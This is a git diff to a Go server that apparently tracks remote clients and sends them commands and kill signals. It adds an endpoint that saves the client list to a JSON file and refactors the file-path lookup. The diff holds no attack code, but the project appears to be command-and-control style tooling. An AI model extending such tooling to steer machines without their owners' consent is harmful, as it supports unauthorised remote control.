diff --git a/cmd/httpServer.go b/cmd/httpServer.go index 6588ccb..af02830 100644 --- a/cmd/httpServer.go +++ b/cmd/httpServer.go @@ -2,8 +2,11 @@ package cmd import ( "embed" + "encoding/json" "fmt" + "log" "net/http" + "os" "strconv" "strings" "time" @@ -36,15 +39,41 @@ func WebServer() { r.POST("/command/:clientid", execCMD) r.POST("/kill/:clientid", sendKillswitch) r.GET("/dump", dumpClients) + r.POST("/save", saveClients) r.Run(":" + WebPort) } func dumpClients(c *gin.Context) { + jsonClients := marshalClients() + c.IndentedJSON(http.StatusOK, jsonClients) +} + +func saveClients(c *gin.Context) { + log.Println("Saving clients...") + jsonClients := marshalClients() + fileToSaveTo, err := setClientPath() + if err != nil { + log.Print(err) + return + } + + f, err := os.Create(fileToSaveTo) + if err != nil { + log.Print(err) + return + } + defer f.Close() + as_json, _ := json.MarshalIndent(jsonClients, "", "\t") + f.Write(as_json) + log.Println("SUCCESS!") +} + +func marshalClients() ClientJSON { jsonClients := ClientJSON{Date: time.Now()} for _, v := range clientList { jsonClients.List = append(jsonClients.List, v.ClientBasicInfo) } - c.IndentedJSON(http.StatusOK, jsonClients) + return jsonClients } func getRoot(c *gin.Context) { diff --git a/cmd/serverFunc.go b/cmd/serverFunc.go index 7df50f2..e8daf8a 100644 --- a/cmd/serverFunc.go +++ b/cmd/serverFunc.go @@ -32,11 +32,11 @@ func (c Client) Instruct(i Instructions) error { return nil } -func recoverClients() error { +func setClientPath() (string, error) { var fileToOpen string home, err := os.UserHomeDir() if err != nil { - return err + return "", err } if isUsingJSONParameter == false { fileToOpen = home + clientJSONPath @@ -48,6 +48,15 @@ func recoverClients() error { fileToOpen = clientJSONPath } + return fileToOpen, nil +} + +func recoverClients() error { + fileToOpen, err := setClientPath() + if err != nil { + return err + } + clients := ClientJSON{} file, err := os.Open(fileToOpen) if err != nil { @@ -104,6 +113,7 @@ func handleConn(conn net.Conn) { ID, err := getClient(conn) if err != nil { log.Printf("Error happened receiving OS information: %v\n", err) + return } go Heartbeat(ID)